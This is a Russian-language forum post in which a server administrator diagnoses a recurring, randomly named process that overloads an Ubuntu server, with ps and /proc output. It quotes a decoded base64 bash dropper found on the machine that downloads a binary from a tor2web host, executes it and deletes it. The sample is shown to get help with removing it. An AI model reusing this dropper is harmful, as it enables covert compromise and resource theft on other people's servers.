Сервер linux Ubuntu 16.04, 4 ядра, 16 гб оперативной памяти. На сервере крутятся 3 сайта под django + несколько тяжелых заданий по крону.
Странный процесс с рандомным названием загружает процессор так, что другие службы/процессы/демоны не могут работать. Сайты, естесственно, перестают быть доступными для пользователей, вызывается ошибка 502. Load average зашкаливает.
Отключал задания в Cron вообще, перезагружал сервер, все равно этот странный процесс появляется и грузит сервер наглухо.
После перезагрузки сервера или после убийства процесса, сервер некоторое время (минут 15) работает нормально, потом процесс появляется вновь под другим рандомным названием.
Попытки найти откуда возникает странный процесс ни к чему не привели.
root@ns3097294:~# ps -aux | grep 2217
root 2217 185 0.0 14120 8116 ? Ssl 10:14 46:40 m1Nq1q
root 17860 0.0 0.0 19360 980 pts/3 S+ 10:39 0:00 grep --color=auto 2217
root@ns3097294:~# ps -p 2217 -o ppid=:wq
:wq
1
1 - это пользователь root. Запускается под рутом.
root@ns3097294:~# /proc/2217/maps
-bash: /proc/2217/maps: Permission denied
root@ns3097294:~# ps aux | grep 'mlNqlq'
root 22498 0.0 0.0 19356 976 pts/3 S+ 11:01 0:00 grep --color=auto mlNqlq
root@ns3097294:~# cat /proc/2217/status
Name: m1Nq1q
State: S (sleeping)
Tgid: 2217
Ngid: 0
Pid: 2217
PPid: 1
TracerPid: 0
Uid: 0 0 0 0
Gid: 0 0 0 0
FDSize: 64
Groups: 0
VmPeak: 14120 kB
VmSize: 14120 kB
VmLck: 0 kB
VmPin: 0 kB
VmHWM: 8116 kB
VmRSS: 8116 kB
VmData: 13984 kB
VmStk: 132 kB
VmExe: 260 kB
VmLib: 18446744073709551360 kB
VmPTE: 48 kB
VmSwap: 0 kB
Threads: 7
SigQ: 0/63752
SigPnd: 0000000000000000
ShdPnd: 0000000000000000
SigBlk: 0000000000000000
SigIgn: 0000000000000000
SigCgt: 0000000000004003
CapInh: 0000000000000000
CapPrm: 0000001fffffffff
CapEff: 0000001fffffffff
CapBnd: 0000001fffffffff
Seccomp: 0
Cpus_allowed: f
Cpus_allowed_list: 0-3
Mems_allowed: 00000000,00000001
Mems_allowed_list: 0
voluntary_ctxt_switches: 2
nonvoluntary_ctxt_switches: 79
PaX: pemRs
Полагаю, что это вирус, но ClamAV ничего нашел, как и его аналоги...
root@ns3097294:~# ll /proc/2217/cwd
lrwxrwxrwx 1 root root 0 авг 19 11:08 /proc/2217/cwd -> //
root@ns3097294:~# ll /proc/2217/fd/
total 0
dr-x------ 2 root root 0 авг 19 10:15 ./
dr-xr-x--- 7 root root 0 авг 19 10:14 ../
lrwx------ 1 root root 64 авг 19 11:09 0 -> socket:[14397067]
l-wx------ 1 root root 64 авг 19 10:15 3 -> /tmp/.X11-lock
Прошу помощи найти и убить навсегда этот ужас у опытных жителей форума, т.к. переустанавливать сервер - это крайняя и очень нежелательная мера.
UPD Вывожу cat:
root@ns3097294:~# cat /proc/17764/maps
00400000-004ad000 r-xp 00000000 00:00 0
004ad000-006ac000 ---p 00000000 00:00 0
006ac000-006b1000 rwxp 00000000 00:00 0
006b1000-01293000 ---p 00000000 00:00 0
01293000-012a2000 rwxp 00000000 00:00 0 [heap]
7d17f9eaf000-7d17f9eb1000 ---p 00000000 00:00 0
7d17f9eb1000-7d17f9ed2000 rwxp 00000000 00:00 0 [stack:2459]
7d17f9ed2000-7d17f9ed4000 ---p 00000000 00:00 0
7d17f9ed4000-7d17f9ef5000 rwxp 00000000 00:00 0 [stack:2458]
7d17f9ef5000-7d17f9ef7000 ---p 00000000 00:00 0
7d17f9ef7000-7d17f9f18000 rwxp 00000000 00:00 0 [stack:2457]
7d17f9f18000-7d17f9f1a000 ---p 00000000 00:00 0
7d17f9f1a000-7d17f9f3b000 rwxp 00000000 00:00 0 [stack:2456]
7d17f9f3b000-7d17f9f3d000 ---p 00000000 00:00 0
7d17f9f3d000-7d17fa95f000 rwxp 00000000 00:00 0 [stack:2455]
7d17fa95f000-7d17fa960000 r-xp 00000000 09:01 109136 /root/ZsNyCa (deleted)
7d17fa96a000-7d17fa97a000 rwxp 00000000 00:00 0
7d17fa97a000-7d17fa97c000 ---p 00000000 00:00 0
7d17fa97c000-7d17fa9a1000 rwxp 00000000 00:00 0 [stack:2454]
7d17fa9a1000-7d17fa9a2000 r-xp 00000000 00:00 0 [vdso]
7e591aa7e000-7e591aa9f000 rwxp 00000000 00:00 0 [stack]
ffffffffff600000-ffffffffff601000 r--p 00000000 00:00 0 [vsyscall]
В папке /root/ появились подозрительные файлы:
UPD2 В корне сервера обнаружил файл *cmd с содержимым, зашифрованным base64.
Расшифровал и получил вот это:
#!/bin/bash
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
x() {
x=/systemd-login-x
z=./$(cat /dev/urandom | tr -cd [:alnum:]|head -c 6)
wget -t1 -T180 -qU- --no-check-certificate $1$x -O$z || curl -m180 -fsSLkA- $1$x -o$z
chmod +x $z;$z;rm -f $z
}
cd /tmp
touch /usr/bin/asdf && cd /usr/bin/
touch /dev/shm/asdf && cd /dev/shm/
touch /var/tmp/asdf && cd /var/tmp/
rm -f /*/*/asdf
if ! ps -p $(cat /tmp/.X1M-unix); then
x rapid7cpfqnwxodo.tor2web.io
fi
Вижу, что это и есть причина моих бед, но у кого-то есть мысли что это вообще такое и что делает??? Файл я конечно удалил, но все равно процесс появляется и грузит систему...
/proc/2217/maps
забылcat
нпбрать, так что самое интересное не видно... ну или хотя бы куда указывает/proc/2217/exe
...